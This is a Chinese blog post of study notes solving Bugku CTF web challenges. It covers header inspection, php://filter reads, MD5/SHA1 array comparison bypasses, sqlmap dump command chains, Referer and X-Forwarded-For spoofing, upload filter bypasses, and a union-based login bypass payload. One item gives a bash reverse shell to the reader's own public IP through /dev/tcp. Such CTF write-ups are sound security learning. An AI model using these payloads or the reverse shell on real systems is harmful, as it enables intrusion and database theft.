登录后台

页面导航

本文编写于 582 天前,最后修改于 124 天前,其中某些信息可能已经过时。

Web解题知识点总结
1.【web2】:看源码,看Headers,flag可能就在其中;
2.【计算器】:如果出现输入框无法输入足够的答案(答案是两个数字,但只能输入一个数字),这是由于网页脚本的限制,需要修改源代码;
3.【web基础$_GET】:get提交方式:在网页地址后面加上“?”,再提交值;
4.【web基础$_POST】:post提交方式:利用火狐浏览器的HackBar插件;

  1. 【矛盾】:我使用的第二种方法;


6.【web3】:查看源代码,发现了一行奇怪的符号,&#开头需要进行unicode转ASCII;

7.【域名解析】:本地解析,打开c:windowssystem32driversetchosts ,在最后添加上ip和域名,这样我们在访问此域名的时候就会解析到这个指定ip
8.【你必须让它停下】:打开后网页一直重复刷新,不停弹窗的情况可以用burp抓包,多抓几次看源码之间有什么不同,找到答案;
10.【变量1】:

解读源码:
flag在变量里,isset用来检测变量是否已设置并且非NULL ;prep_match: 用于执行一个正则表达式匹配。


11.【web5】:查看源代码发现好多“[ ]”和“( )”,网页提示JSPFUCK,将全部[ ]和( )复制到chrome的console回车,ctf就会出来;
12.【头等舱】:这道题查看网页源代码什么也没有,用burp抓一下,也没住到有用的,放到repeat里go了一下,发现返回的数据里有ctf;
13.【网站被黑】:遇见被挂黑页的网站,说明网站存在漏洞,黑客注入的木马,用御剑后台扫描工具扫一下发现会找到木马登录页,再使用字典爆破就可以;
14.【管理员系统】:登录时出现“IP禁止访问,请联系本地管理员登陆,IP已被记录.”,得知需本地解析此网站;
15.【web4】:按网页提示得到了代码,按要求解码并拼接得到如下图代码(推荐使用notepad++查看代码)

阅读代码,将“67d709b2b54aa2aa648cf6e87a7114f1”提交,可得到flag;
16.【flag在index里】:点进去后发现了file这个关键点,这里要用到 php://filter的知识点
参考地址:https://blog.csdn.net/Ruhe_king/article/details/82502582
php://filter是PHP中的一个协议,利用这个协议我们可以解决一些ctf的题目,或者挖掘出一些漏洞。

至于php://filter 的用法可以参考https://www.leavesongs.com/PENETRATION/php-filter-magic.html

17.【输入密码查看flag】:
直接爆破,使用burp和python都可以;


19.【备份是个好习惯】:
参考地址:https://blog.csdn.net/zpy1998zpy/article/details/80582974
发现了一串字符,是两个md5 的值,扫备份,下载下来后查看备份的源码

整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag.

有两种方法绕过:
1,md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。


2.利用==比较漏洞,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

此处需要用到特殊的md5

20.【成绩单】
sqlmap.py -r file //判断是否存在SQL注入漏洞
sqlmap.py -r file --current-db //查询当前数据库
sqlmap.py -r file -D 数据库名 --tables //查询**数据库有哪些数据表
sqlmap.py -r file -D 数据库名 -T 数据表名 --columns //查询数据库数据表有哪些列
sqlmap.py -r file -D 数据库名 -T 数据表名 --dump //查询数据库数据表**列的内容
21.【秋名山老司机】:
参考地址:https://blog.csdn.net/Ruhe_king/article/details/82530056

22.【速度要快】:
查看header得到转码后的flag,base64解码便可;
23.【cookie欺骗】:
参考地址:https://www.jianshu.com/p/6d67a3eca18e
1.进入题目,发现一个长字符串,放到md5、base64均无意义。
2.观察地址栏,发现有两个参数,line和filename
(1)将file=后的参数放到base64解码(url参数传递一般用base64编码),可知该串原意为:flag.txt
(2)既然知道后面是接文件名,假设flag.txt在当前目录,那么猜想有其他的文件也在通过用base64加密的方式输入到url中访问,对index.html和index.php分别进行测试,line从0向上遍历;
3.尝试后可知,当file=aW5kZXgucGhw(index.php的base64编码)时,line的取值可获取index.php源代码的第line行



写了一个python代码爬取全部文本


(2)阅读代码可知,cookie的名为key,值为idf, 将file参数置为ZmxhZy50eHQ(flag.php的base64码)可以通过cookie欺骗的方式访问flag.php文件
5.下面用python进行cookie欺骗及遍历源代码

跑了一串字符,至于flag………不知道在哪
24.【never give up】:
查看源代码得到1p.html,进入网页跳转到bugku主页,使用了window.location.href,使用view-source查看网页源代码,一步步解密得到答案。
25.【welcome to bugkuctf】:
参考地址:https://blog.csdn.net/wy_97/article/details/77771026
查看源代码


1.三个传参
2.$user存在且不为空,
3.读取$user文件,内容为welcome to the bugkuctf,
4.$file要求为hint.php,将其导入
利用php://input与php://filter可以实现

26.【过狗一句话】:由提示可以发现assert这个关键,
具体使用可以参考https://www.cnblogs.com/nixi8/p/7147122.html


用在本题中可以扫到目录,得到flag的文件名;
27.【字符?正则?】查看代码,发现要get提交,发现了pre_match函数,
参考网站:https://www.runoob.com/php/php-preg_match.html

1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次,这里可以是0次,还有就是以’^‘开头,以’$‘结束
4.“/”代表“/”,一种转义,因为单独的//代表着正则的开始与结束
5.[a-z]代表a-z中的任意一个字符
6.:punct:代表任意一个字符,包括各种符号,记得是符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
9.s匹配任意的空白符
10.d 匹配数字 11.b 匹配单词的开始或结束

29.【login1(SKCTF)】:尝试登录,无果,注册后尝试登录,提示要用管理员账号,于是打开burp抓包,登录的时候将用户名改成admin
30.【你从哪里来】:打开网页发现要伪造Referer,使用burp伪造
31.【md5 collision】:阅读网页提示可知要input a,使用get 提交 a= xxx ;


32.【程序员本地网站】:用burp抓包,在header添加X-Forwarded-For: 127.0.0.1
33.【各种绕过】:阅读代码,发现要使用get提交uname和id,使用post提交passwd;
而且要使uname的sha1的值与passwd的sha1的值相等,但是同时他们两个的值又不能相等,构造 uname[]=1&id=margin 和 passwd[]=2 ;

传递数组给 sha1(), sha1() 将数组作为参数会返回 False 两个 False 全等 就是 True
34.【web8】:阅读代码,可知ac值不能为空,file_get_contents() 函数把整个文件读入一个字符串中,并且f的值从文件fn中获取,并且ac的值要恒等于f的值,
题目提示txt???,进入flag.txt看到flags,于是构造 ?ac=flags&fn=flag.txt ;
36.【求getshell】:
1、getshell就是获得权限的意思,但是本题考点在上传文件绕过
2、判断第一个绕过点在请求头中的content-type上,因此通过大小写进行绕过(multipart/form-data 是上传文件时使用的格式),将M大写;
3、第二个绕过点在 上传文件的后缀名上,php改下;

37.【INSERT INTO注入】:
参考地址:https://www.jianshu.com/p/e58140710647

在请求中的X-Forwarded-For字段可以进行注入,但是这里,被过滤了。
可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:

而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1,所以最终我们的payload如下:

python脚本:

38.【这是一个神奇的登录框】:
参考地址:https://blog.csdn.net/qq_38412357/article/details/79559039
1.首先burp抓包,抓到包后选择存到txt文件中:(随便输入账号密码)
2.然后打开sqlmap,输入指令:sqlmap.py -r "D:1.txt" -p admin_name –dbs
解释:-r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字;

  1. 应该是这个bugkul1,再继续爆表,命令:sqlmap.py -r "D:1.txt" -D bugkusql1 -p admin_name --tables

解释:-D是表示选择了后面的这个数据库 --tables是想获取表

  1. 应该在flag1这个表里,继续爆列名:命令:sqlmap.py -r "D:1.txt" -D bugkusql1 -T flag1 -p admin_name --columns

解释类似上面 不过加了一个-T 指定表;

  1. flag1这个列 最后查字段 命令:sqlmap.py -r "D:1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

解释:同上面 --dump是获取字段的命令
39.【多次】:
参考地址:https://www.lhaihai.wang/post/bugku-web-writeup/
40.【PHP_encrypt_1(ISCCCTF)】 :
给出了一个 encrypt 函数和一串密文:


根据 encrypt 函数写对应的 decrypt:

42.【flag.php】:
参考地址:https://blog.csdn.net/qq_39629343/article/details/80119126
1.点击login没反应
2.提示是hint,试试get一个hint参数,得到源码

若unserialize($cookie)全等于$KEY,这里注意有双引号,大体意思是:cookie的参数为ISecer,值为$KEY的序列化;之所以序列化的$KEY不为'ISecer:www.isecer.com',由上图也是可以知晓的,定义的$KEY在后面,所以执行的$KEY为NULL
序列化为s:0:"",用burpsuite抓包,将Cookie改为下图所示

43.【sql注入2】:
参考地址:https://xz.aliyun.com/t/2583

46.【login2{SKCTF}】:
对请求抓包,然后可以发现tip,解密出来是几行代码。


$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
这里可以看到它是分离式的验证,首先查询username的用户,然后拿出password再进行比较,一开始想着是注入出admin的密码,但发现可能没有这个用户,而且也找不到注入的poc。后来参考网上的writeup才知道正确的打开方式。
payload:username=' union select md5(1),md5(1)#&password=1

执行这条语句时由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(1)则会返回两个MD5(1)的值,然后password我们也置为1,从而绕过if语句的判断。

接下来可以进入命令执行的页面。


然后我们反弹回一个shell来方便我们操作。我们先在本地监听一下,这里使用nc。
nc -lvv 8888
   然后执行反弹shell的命令。
|bash -i >& /dev/tcp/你的公网ip/8888 0>&1
   最后就能在服务器上收到shell,然后查询flag。
47.【login3(SKCTF)】:
参考地址:https://blog.csdn.net/zpy1998zpy/article/details/80667775